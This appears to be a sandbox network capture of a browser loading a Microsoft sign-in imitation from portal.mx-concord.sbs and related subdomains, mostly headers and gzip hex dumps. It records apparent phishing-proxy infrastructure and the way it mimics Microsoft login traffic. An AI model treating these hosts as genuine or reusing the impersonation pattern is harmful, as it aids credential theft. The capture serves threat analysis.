2024-08-28 20:20:56 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache,no-store Content-Length: 194 Content-Type: application/json;charset=utf-8 ETag: 250:AE654997ABC9A917 Server: Microsoft-HTTPAPI/2.0 X-Content-Type-Options: nosniff Content-Security-Policy: script-src https://settings-sandbox.data.microsoft.com https://settings-ppe.data.microsoft.com https://settings.data.microsoft.com http://onesettings-xbox-rp.com https://settings-win.data.microsoft.com Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Wed, 28 Aug 2024 20:20:55 GMT Connection: close
2024-08-28 20:20:56 UTC	194	IN	Data Raw: 7b 22 72 65 66 72 65 73 68 49 6e 74 65 72 76 61 6c 22 3a 22 32 35 30 22 2c 22 71 75 65 72 79 55 72 6c 22 3a 22 2f 73 65 74 74 69 6e 67 73 2f 76 32 2e 30 2f 6f 66 66 69 63 65 2f 6f 6c 78 22 2c 22 73 65 74 74 69 6e 67 73 22 3a 7b 22 41 4c 4c 4f 57 47 4d 41 49 4c 41 44 44 41 43 43 4f 55 4e 54 22 3a 22 30 22 2c 22 46 4f 52 43 45 47 4d 41 49 4c 48 41 4e 44 42 41 43 4b 22 3a 22 30 22 2c 22 46 4f 52 43 45 47 4d 41 49 4c 48 41 4e 44 4f 46 46 22 3a 22 30 22 2c 22 46 4f 52 43 45 48 41 4e 44 42 41 43 4b 22 3a 22 30 22 2c 22 46 4f 52 43 45 48 41 4e 44 4f 46 46 22 3a 22 31 30 30 22 7d 7d Data Ascii: {"refreshInterval":"250","queryUrl":"/settings/v2.0/office/olx","settings":{"ALLOWGMAILADDACCOUNT":"0","FORCEGMAILHANDBACK":"0","FORCEGMAILHANDOFF":"0","FORCEHANDBACK":"0","FORCEHANDOFF":"100"}}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.16	49743	185.225.69.39	443	6624	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-28 20:20:57 UTC	658	OUT	GET /b128254cc16e4b1faaf8773d457e256b/ HTTP/1.1 Host: portal.mx-concord.sbs Connection: Upgrade Pragma: no-cache Cache-Control: no-cache User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Upgrade: websocket Origin: https://portal.mx-concord.sbs Sec-WebSocket-Version: 13 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: jMeAFY="YjEyODI1NGMtYzE2ZS00YjFmLWFhZjgtNzczZDQ1N2UyNTZiOjE1OTgzYjQ2LWRmZmYtNGVmMC1iNDgyLWVlMDQ1OWMyOTUzNA==" Sec-WebSocket-Key: E15bHrLRzfGpELDeTCf7nA== Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits
2024-08-28 20:20:59 UTC	739	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 28 Aug 2024 20:20:58 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding cache-control: private p3p: CP="DSP CUR OTPi IND OTRi ONL FIN" x-ms-request-id: e01fb4a9-7df5-4e3f-86ad-7d2319a44f00 x-ms-ests-server: 2.1.18794.6 - SEC ProdSlices report-to: {"group":"network-errors","max_age":86400,"endpoints":[{"url":"https://68bc0e6a-b128254c.mx-concord.sbs/api/report?catId=GW+estsfd+dub2"}]} nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0} x-ms-srs: 1.P referrer-policy: strict-origin-when-cross-origin access-control-allow-origin: * access-control-allow-headers: *
2024-08-28 20:20:59 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.16	49742	185.225.69.39	443	6624	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-28 20:20:57 UTC	542	OUT	GET /shared/1.0/content/js/BssoInterrupt_Core_JQnUxWSvwsd9FrpspQmznw2.js HTTP/1.1 Host: a230fc93-b128254c.mx-concord.sbs Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: jMeAFY="YjEyODI1NGMtYzE2ZS00YjFmLWFhZjgtNzczZDQ1N2UyNTZiOjE1OTgzYjQ2LWRmZmYtNGVmMC1iNDgyLWVlMDQ1OWMyOTUzNA=="
2024-08-28 20:20:59 UTC	812	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 28 Aug 2024 20:20:59 GMT Content-Type: application/x-javascript Content-Length: 49814 Connection: close cache-control: public, max-age=31536000 last-modified: Mon, 05 Aug 2024 15:32:28 GMT etag: 0x8DCB563D09FF90F x-ms-request-id: 58f8827d-701e-0000-6147-f4fcfb000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob access-control-expose-headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding access-control-allow-origin: * x-azure-ref: 20240828T202058Z-158c5d5dcb88ldk5f178eq7uq00000000a300000000102ah x-fd-int-roxy-purgeid: 4554691 x-cache: TCP_HIT accept-ranges: bytes content-encoding: gzip
2024-08-28 20:20:59 UTC	13648	IN	Data Raw: 1f 8b 08 00 00 00 00 00 00 03 e4 bd 6d 5b e3 38 d2 30 fa fd fe 15 c1 bb 0f 1d 4f 4c c8 0b d0 e0 e0 ce 9d 06 ba 9b 19 20 0c 81 e9 d9 05 96 cb 89 15 f0 74 b0 b3 b6 c3 cb 40 ce 6f 3f f5 22 d9 b2 e3 d0 3d bb e7 3a 5f 9e 79 21 b6 54 92 a5 52 55 a9 aa 54 92 d6 7f 5a f9 9f ca 4f 95 b5 1f ff a7 32 38 ef 9d 9d 57 fa 9f 2a e7 5f 0e cf f6 2b a7 f0 f6 8f ca 49 ff fc 70 ef e0 c7 eb c1 8f e2 ff e7 77 7e 5c 19 fb 13 51 81 df a1 1b 0b af 12 06 95 30 aa f8 c1 28 8c a6 61 e4 26 22 ae dc c3 df c8 77 27 95 71 14 de 57 92 3b 51 99 46 e1 1f 62 94 c4 95 89 1f 27 50 68 28 26 e1 63 a5 0a d5 45 5e e5 d4 8d 92 e7 ca e1 a9 59 87 fa 05 d4 e6 df fa 01 94 1e 85 d3 67 78 be 4b 2a 41 98 f8 23 51 71 03 8f 6a 9b c0 4b 10 8b ca 2c f0 44 54 79 bc f3 47 77 95 63 7f 14 85 71 38 4e 2a 91 18 09 Data Ascii: m[80OL t@o?"=:_y!TRUTZO28W_+Ipw~\Q0(a&"w'qW;QFb'Ph(&cE^YgxKA#QqjK,DTyGwcq8N*
2024-08-28 20:20:59 UTC	16384	IN	Data Raw: a1 c9 cc ff 0b c0 30 15 ff 48 8d 3f 54 53 e9 67 4f c2 34 f6 42 5e ad 53 de bc 05 b8 42 cb 4a ea f9 4b e5 bf e2 12 d8 1e 6b 55 82 a6 cd 37 b3 91 e2 46 61 84 cb 6f b8 64 66 e8 6f a0 83 b9 c9 1d 02 a7 a9 b6 b1 90 94 41 a5 f4 96 41 a5 49 19 54 7f e2 65 f9 f0 22 45 2f ae c3 66 0a d7 42 52 56 7e 8f 3f fb 71 96 69 69 ea 68 76 e3 fb 30 59 3d 8c 0f 0c c4 e6 1c 9c 48 9f cf 90 c2 f5 9a de 82 4a b9 55 45 1e 1b f9 77 a9 34 c1 9c 99 0d 1a 74 6d 21 6d 09 45 2d 8e e4 0f 81 65 5f 4d d7 8e e2 d9 24 c9 3e 9c 4b ce a0 f7 45 40 53 4e fe 3d cb 27 6b 87 c3 55 34 28 3d b5 40 89 19 d2 78 81 5a 47 ef 0f 02 66 5f ff 14 b9 33 8f 63 14 f4 cf e7 92 41 b5 c1 d7 1c ca 8a 29 8c eb 43 a5 92 32 4e d3 d7 ec 7b 68 93 84 d3 67 8d f0 97 e5 18 16 c9 36 e0 97 b7 86 ee fb 30 65 f5 bc 85 c2 bf 02 Data Ascii: 0H?TSgO4B^SBJKkU7FaodfoAAITe"E/fBRV~?qiihv0Y=HJUEw4tm!mE-e_M$>KE@SN='kU4(=@xZGf_3cA)C2N{hg60e
2024-08-28 20:20:59 UTC	16384	IN	Data Raw: 27 5c 2f 82 64 c3 c9 1a 62 8e 98 a0 4e c4 0a 57 8e d3 92 f9 cb 30 13 36 97 9b 7c de e3 e4 a9 36 57 3c 89 5d 2f c8 39 7b ee 65 18 f7 a5 fd eb be 5b b8 f4 92 24 3c e8 73 28 c8 e9 d1 66 7c 8e 51 e9 73 f9 ca 19 8c aa 70 2f d9 62 ef 9f c3 c9 bf af 1c 87 05 e4 1b 59 f5 fc 1b cb 39 b5 5c 01 12 79 d6 80 94 53 64 7b cf cf 8f f9 e1 89 e7 4a 8e 6f 7b e7 5b 82 7f 82 10 7e 13 9e ef 22 14 f9 90 78 05 44 c7 e9 e8 5a 80 1a ab ef bb cb 10 d7 07 e2 af e0 f7 35 67 19 dd d5 9e 65 c4 0d aa 64 67 36 92 94 e2 f3 ac 0b 46 4c 5e d7 eb 91 f3 50 ae 37 8c 71 d4 8c 53 b1 00 ad 88 20 a6 62 58 e3 94 8a fc 6a d4 6b 1c 20 d9 05 5e c5 d1 88 71 80 f9 8c d1 40 06 a2 be 56 4f 9a fe 48 ac 33 ae 04 79 d8 0a 5b 29 40 69 fb f4 69 24 21 d2 7e 4d 44 10 ce 21 30 40 6e d4 5b b8 86 e3 a4 e7 37 83 f3 Data Ascii: '\/dbNW06\|6W<]/9{e[$<s(f\|Qsp/bY9\ySd{Jo{[~"xDZ5gedg6FL^P7qS bXjk ^q@VOH3y[)@ii$!~MD!0@n[7
2024-08-28 20:20:59 UTC	3398	IN	Data Raw: 6f 6f 1f 95 a9 65 32 50 7a c6 bc 05 39 2f 07 a5 94 7f 84 f2 4c d9 e9 80 b4 0b 89 6e 24 d0 7d fd 31 fc 76 6f 8f c5 43 5a 43 76 39 ee 7b a1 4a 53 5d 1f 98 ad 00 16 0d 3f 19 e8 31 91 66 6c d4 10 84 6b d6 43 a6 fe a5 e2 c9 23 3f 4e a6 2b c3 a2 3b 2e 2d 83 81 7c 9a 59 3c f9 39 74 bc 01 3d 68 0c b4 b0 80 f6 1d 9f 0a cf 2e de 63 21 06 00 af 29 5f d0 92 5d c0 f9 db 48 1c 4d a2 c5 53 4c ed ab 0f 53 6e a4 62 74 52 86 89 2c 78 9d 04 4b 1f a8 32 f8 d5 b7 88 94 fc 67 1f 30 d6 b9 12 5a 4f 7c 15 b4 6e dd f2 b0 81 b2 90 e1 6c eb 1e 78 88 37 16 d1 1d ab 7c 62 5f 40 dc 71 54 4c b0 4d c0 65 70 73 d6 f5 9a 11 ce 47 ea 97 8c 34 5d db 23 2e 63 c6 9b 37 a0 ed 2a ab 11 5c e9 f9 06 f6 5c d9 6c 22 06 ae 3c df dc 50 12 da 3e d6 86 b9 a9 80 cc 7c 17 eb 8b bd d7 d0 90 db db 33 ea 0b Data Ascii: ooe2Pz9/Ln$}1voCZCv9{JS]?1flkC#?N+;.-\|Y<9t=h.c!)_]HMSLSnbtR,xK2g0ZO\|nlx7\|b_@qTLMepsG4]#.c7*\\l"<P>\|3

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.16	49745	185.225.69.39	443	6624	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-28 20:20:57 UTC	883	OUT	GET /?lit=up&sso_reload=true HTTP/1.1 Host: portal.mx-concord.sbs Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Referer: https://portal.mx-concord.sbs/?lit=up Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: jMeAFY="YjEyODI1NGMtYzE2ZS00YjFmLWFhZjgtNzczZDQ1N2UyNTZiOjE1OTgzYjQ2LWRmZmYtNGVmMC1iNDgyLWVlMDQ1OWMyOTUzNA=="; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1
2024-08-28 20:20:59 UTC	783	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 28 Aug 2024 20:20:59 GMT Content-Type: text/html; charset=utf-8 Content-Length: 62879 Connection: close cache-control: no-store, no-cache pragma: no-cache vary: Accept-Encoding p3p: CP="DSP CUR OTPi IND OTRi ONL FIN" x-ms-request-id: d327da2a-6c6e-481b-8352-f465636b4b00 x-ms-ests-server: 2.1.18794.6 - NEULR1 ProdSlices report-to: {"group":"network-errors","max_age":86400,"endpoints":[{"url":"https://68bc0e6a-b128254c.mx-concord.sbs/api/report?catId=GW+estsfd+dub2"}]} nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0} x-ms-srs: 1.P referrer-policy: strict-origin-when-cross-origin content-encoding: gzip access-control-allow-origin: * access-control-allow-headers: *
2024-08-28 20:20:59 UTC	15601	IN	Data Raw: 1f 8b 08 00 00 00 00 00 00 03 ec bd 59 77 ea d8 92 30 f8 9e bf 82 c3 ca f2 81 32 c6 cc 06 3b 49 17 60 c0 d8 4c 66 f2 74 dd 5e 42 da 80 6c 21 61 0d 0c 3e c7 bc f5 2f e9 87 5e f5 d0 6f fd 0f ee 1f eb 88 d8 5b 42 60 3b cf c9 3b ac fe be 55 99 55 f7 58 da da 43 ec 98 23 76 48 fc f6 e5 ac 55 ea dd b6 cb 81 89 3d d5 7e ff e5 37 fc 13 90 35 c9 b2 f2 c1 60 40 51 cd 7c 50 b3 cd 60 40 93 f4 71 3e c8 f4 e0 ef bf 04 7e 9b 30 49 81 bf 81 df 6c d5 d6 18 5e 05 ba ea 58 0f a8 7a c0 36 02 2b c3 31 03 92 2c 1b 8e 6e 63 a7 43 af d7 6f 53 66 4b 01 d9 d0 6d a6 db f9 a0 cd 96 f6 21 2e 78 12 90 27 92 69 31 3b ef d8 a3 83 6c 10 80 b1 67 07 ec c5 51 e7 f9 60 89 77 3f e8 ad 66 2c 78 f8 c1 34 b5 72 9e 29 63 b6 3d ea e6 a0 5f 38 28 19 d3 99 64 ab 43 ed e3 81 0b 55 b1 27 79 85 cd 55 Data Ascii: Yw02;I`Lft^Bl!a>/^o[B`;;UUXC#vHU=~75`@Q\|P`@q>~0Il^Xz6+1,ncCoSfKm!.x'i1;lgQ`w?f,x4r)c=_8(dCU'yU
2024-08-28 20:20:59 UTC	16379	IN	Data Raw: 43 09 95 54 85 35 91 50 85 25 b3 e9 44 ae a5 4c 2a ca 48 e8 ab c5 84 99 cc 93 50 a0 2d 93 a6 d4 2e 09 3d cb 4f 17 a2 78 23 bc 5a e1 21 08 e7 76 a3 e7 36 de 5b c4 c7 35 74 8d be 10 7d da 92 e6 a7 26 fa 7e 01 bf 22 7e 11 71 07 b5 70 4f c4 6d c2 48 f5 0c 1c d7 43 54 0e f6 53 11 37 b2 5a 5c 4f 11 5d 17 6a f1 82 ac fb c2 99 90 c2 9a 91 2f 81 9f b6 f3 e2 98 99 eb b1 6b 5d eb a5 41 22 4e be 9a b5 aa cd 11 0d cd f1 f2 1a fd d7 47 14 84 39 0f 99 dd af 11 b7 f9 26 91 25 3a 4f 0b 13 f9 eb 72 bc ba a8 b9 7a cf c7 47 8f 3e f1 e7 9a a3 ef 53 0f 6e f8 f4 c8 e3 a3 af e4 23 57 6a d5 7e a7 50 ac 23 c7 34 5e 14 05 39 6a 28 df 28 08 cd bc 79 dd 43 fa 76 d8 b8 bc 9c 71 36 1e df 36 2e d1 bb b4 19 d9 d9 94 71 36 5c 94 51 f7 e9 12 42 7e c0 13 2b 07 f8 b3 dd dc d9 79 84 e5 4c 76 Data Ascii: CT5P%DL*HP-.=Ox#Z!v6[5t}&~"~qpOmHCTS7Z\O]j/k]A"NG9&%:OrzG>Sn#Wj~P#4^9j((yCvq66.q6\QB~+yLv
2024-08-28 20:21:00 UTC	16384	IN	Data Raw: 53 20 bb fe fc 99 1b 46 f0 bf 1b e6 c8 fd 7b 76 33 00 fc 9d ea 0f 6a 16 a3 b1 64 23 40 7a df f1 e6 b1 dc 49 7b 87 ed 8e 93 ae ef e8 91 8d 27 5a b3 d1 f6 76 83 de 8e d6 9d 75 fc a4 e3 7a 8f bc fe 8b 7b 63 7f db 5a 6e ff 41 f4 91 27 79 bc 66 66 b6 0d db fb 95 ea 9b 3d 75 3a da ec d8 43 58 ca 8e c0 17 e0 6a 2d d4 1a 32 b5 da f0 56 4a 75 52 0f b0 e2 3a 6f 75 78 ff 90 0c 9f 3a 01 ab c9 74 bf 19 f8 ac 97 82 af 4f 18 4c c6 45 d7 df d1 91 47 2b a2 75 e8 78 3d 44 89 20 6c 9f 3a 91 85 72 3f d0 71 e0 e2 e7 df 80 0d fc 82 ac 46 17 94 a1 84 65 f4 0b 0a 7d 4a 7b a1 b1 f9 61 03 68 30 a3 5d 3f 5b 67 9f 8d 36 ca 5e 1a 14 9f 5c 37 c5 6f 28 db eb c4 f7 7a 55 2e 95 8e 55 b3 66 47 07 c2 73 ea 5f f8 54 73 a6 60 37 ef 62 9e ef ae 50 1f d9 a5 d9 71 a1 b3 a1 b7 da d8 f2 e4 80 a3 Data Ascii: S F{v3jd#@zI{'Zvuz{cZnA'yff=u:CXj-2VJuR:oux:tOLEG+ux=D l:r?qFe}J{ah0]?[g6^\7o(zU.UfGs_Ts`7bPq
2024-08-28 20:21:00 UTC	14515	IN	Data Raw: 0c bc 97 94 80 32 bc 90 0a 94 63 1d 1d 8b 8b 4d 2f 2e 28 19 a0 00 24 d8 f0 83 b4 b6 86 c3 37 7c ed 85 63 c5 6b 7e 75 4a a9 51 3e c2 5d 28 87 61 b1 49 b4 e1 a0 ee c5 3b 2f 5e c4 3b ba fd 35 de 12 27 01 65 d8 3b a0 e4 97 94 66 4e df 16 e0 5c b5 b2 b7 04 47 fe 84 be dd 73 92 ab 37 e3 32 88 6d 38 90 81 1f d4 28 d6 5b 6d dc 80 10 3d d4 e9 d4 0c d5 44 a9 91 3b 51 3d 57 7d f5 eb 71 09 e5 75 f5 24 a5 7c d4 99 bc 77 fd 1f f4 f5 ad e8 0c 0d cc c5 cb 6b 06 5f 24 80 95 5d 84 6c 5b c4 1a 3d 5b b2 48 4e 7c 24 fd ce 94 75 36 28 f1 67 22 03 6a 65 29 9f 74 33 2d 6d 59 a3 17 c5 b9 73 b9 56 cf 6b 8b ea 4c f3 26 82 d3 c7 05 e3 a2 6b 3f d6 12 59 ea 15 b0 f3 01 d7 64 8d f3 3a 0a 96 33 cd e5 1e e9 2f 34 b4 ce 5c ca 86 50 34 e2 27 79 37 c8 4f 56 60 91 2c 4e 88 c1 45 b2 1d 74 f8 Data Ascii: 2cM/.($7\|ck~uJQ>](aI;/^;5'e;fN\Gs72m8([m=D;Q=W}qu$\|wk_$]l[=[HN\|$u6(g"je)t3-mYsVkL&k?Yd:3/4\P4'y7OV`,NEt

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.16	49744	185.225.69.39	443	6624	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-28 20:20:57 UTC	766	OUT	GET /favicon.ico HTTP/1.1 Host: portal.mx-concord.sbs Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://portal.mx-concord.sbs/?lit=up Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: jMeAFY="YjEyODI1NGMtYzE2ZS00YjFmLWFhZjgtNzczZDQ1N2UyNTZiOjE1OTgzYjQ2LWRmZmYtNGVmMC1iNDgyLWVlMDQ1OWMyOTUzNA=="; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1
2024-08-28 20:20:59 UTC	739	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 28 Aug 2024 20:20:59 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding cache-control: private p3p: CP="DSP CUR OTPi IND OTRi ONL FIN" x-ms-request-id: 45269624-1ca3-415e-be7d-c87935c6a000 x-ms-ests-server: 2.1.18760.5 - FRC ProdSlices report-to: {"group":"network-errors","max_age":86400,"endpoints":[{"url":"https://68bc0e6a-b128254c.mx-concord.sbs/api/report?catId=GW+estsfd+dub2"}]} nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0} x-ms-srs: 1.P referrer-policy: strict-origin-when-cross-origin access-control-allow-origin: * access-control-allow-headers: *
2024-08-28 20:20:59 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.16	49748	185.225.69.39	443	6624	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-28 20:20:59 UTC	433	OUT	OPTIONS /api/report?catId=GW+estsfd+dub2 HTTP/1.1 Host: 68bc0e6a-b128254c.mx-concord.sbs Connection: keep-alive Origin: https://portal.mx-concord.sbs Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-08-28 20:21:00 UTC	336	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 28 Aug 2024 20:21:00 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding access-control-allow-headers: content-type access-control-allow-credentials: false access-control-allow-methods: , GET, OPTIONS, POST access-control-allow-origin:
2024-08-28 20:21:00 UTC	12	IN	Data Raw: 37 0d 0a 4f 50 54 49 4f 4e 53 0d 0a Data Ascii: 7OPTIONS

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.16	49751	185.225.69.39	443	6624	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-28 20:21:00 UTC	664	OUT	GET /ests/2.1/content/cdnbundles/converged.v2.login.min_qzvqnltrxpy99ajspyxbgq2.css HTTP/1.1 Host: 96f04cf4-b128254c.mx-concord.sbs Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://portal.mx-concord.sbs sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: style Referer: https://portal.mx-concord.sbs/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-08-28 20:21:02 UTC	729	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 28 Aug 2024 20:21:02 GMT Content-Type: text/css Content-Length: 20414 Connection: close accept-ranges: bytes access-control-allow-origin: * access-control-expose-headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding age: 4751607 cache-control: public, max-age=31536000 etag: 0x8DC9BAA0E5931F9 last-modified: Wed, 03 Jul 2024 21:49:46 GMT vary: Accept-Encoding x-cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: 6e6a75ca-701e-00b8-4150-ce7473000000 x-ms-version: 2009-09-19 content-encoding: gzip
2024-08-28 20:21:02 UTC	6465	IN	Data Raw: 1f 8b 08 00 00 00 00 00 00 03 ed 7d 6b 73 e3 36 b2 e8 f7 f9 15 5c a7 52 3b ce 4a 8c 48 3d 2d 57 52 3b 99 cc 26 3e 67 5e 35 33 d9 47 a5 52 5b b4 44 59 3c 43 89 ba 24 65 8f 57 47 ff fd e2 8d 06 d0 20 29 8f b3 d9 7b 2b 27 67 13 0b dd 6c 00 dd 8d 06 1a e8 06 be fe ea 0f c1 f3 62 77 5f 66 37 eb 3a 78 fa fc 3c 78 95 2d ca a2 2a 56 35 29 2f 77 45 99 d4 59 b1 0d 83 67 79 1e 30 a4 2a 28 d3 2a 2d 6f d3 65 18 7c f5 f5 d7 5f fd e1 49 bf fb ff 05 ef 3f 3c 7b f7 21 78 f3 97 e0 c3 8f 57 ef be 0f de 92 5f ff 08 5e bf f9 70 f5 fc 45 d0 99 ca 93 27 1f d6 59 15 ac b2 3c 0d c8 7f af 93 2a 5d 06 c5 36 28 ca 20 db 2e 44 ab d3 2a d8 90 7f 97 59 92 07 ab b2 d8 04 f5 3a 0d 76 65 f1 3f e9 82 f4 21 cf aa 9a 7c 74 9d e6 c5 5d f0 94 90 2b 97 c1 db a4 ac ef 83 ab b7 e7 61 f0 81 e0 16 Data Ascii: }ks6\R;JH=-WR;&>g^53GR[DY<C$eWG ){+'glbw_f7:x<x-V5)/wEYgy0(-oe\|_I?<{!xW_^pE'Y<]6( .D*Y:ve?!\|t]+a
2024-08-28 20:21:02 UTC	13949	IN	Data Raw: 82 7b bc 1b 05 77 bd 1b 06 c2 bc 1b 09 40 bd 1b 09 44 bd 1b 09 74 bd 1b 09 c1 bd 1b 09 c5 bd 1b 09 b5 bd 1b 59 8e 7b 37 12 8a 7b 37 12 ea 7a 37 aa f7 b8 77 a3 c0 b8 77 a3 c0 b6 77 a3 00 b8 77 a3 c0 b8 77 a3 c0 ae 77 a3 40 b8 77 a3 c0 b8 77 a3 c0 b6 77 a3 00 b8 77 a3 d4 00 f7 6e 14 d8 f5 6e 14 08 f7 6e 14 18 f7 6e 14 d8 f1 6e 08 a4 c9 bb d1 e0 26 ef 46 63 35 79 37 1a cb eb dd 68 94 46 ef 46 a3 35 7a 37 1a cd e3 dd 68 84 46 ef 46 a3 35 7a 37 1a cd eb dd 00 76 36 7a 37 00 af d1 bb 01 78 1e ef 06 60 34 7a 37 00 af d1 bb 01 78 5e ef 06 e0 34 7a 37 00 af d1 bb 01 78 1e ef 06 60 34 7a 37 40 51 1b bd 1b 80 e7 f5 6e 00 4e a3 77 03 f0 1a bd 1b 80 d7 cd bb 89 46 03 1d 9a f6 29 57 79 37 b9 ca bb c9 55 de 4d ae f2 6e 72 95 77 93 ab bc 9b 5c e5 dd e4 2a ef 26 57 79 37 Data Ascii: {w@DtY{7{7z7wwwwww@wwwwnnnnn&Fc5y7hFF5z7hFF5z7v6z7x`4z7x^4z7x`4z7@QnNwF)Wy7UMnrw\*&Wy7

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.16	49753	185.225.69.39	443	6624	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-28 20:21:00 UTC	641	OUT	GET /shared/1.0/content/js/ConvergedLogin_PCore_2P9n4TNNrWcgKwW6Mt6tGA2.js HTTP/1.1 Host: 96f04cf4-b128254c.mx-concord.sbs Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://portal.mx-concord.sbs sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://portal.mx-concord.sbs/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-08-28 20:21:03 UTC	746	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 28 Aug 2024 20:21:03 GMT Content-Type: application/x-javascript Content-Length: 122154 Connection: close accept-ranges: bytes access-control-allow-origin: * access-control-expose-headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding age: 1788736 cache-control: public, max-age=31536000 etag: 0x8DCB563CA8588E7 last-modified: Mon, 05 Aug 2024 15:32:18 GMT vary: Accept-Encoding x-cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: 7bcf5efb-d01e-0003-2d43-e9b5aa000000 x-ms-version: 2009-09-19 content-encoding: gzip
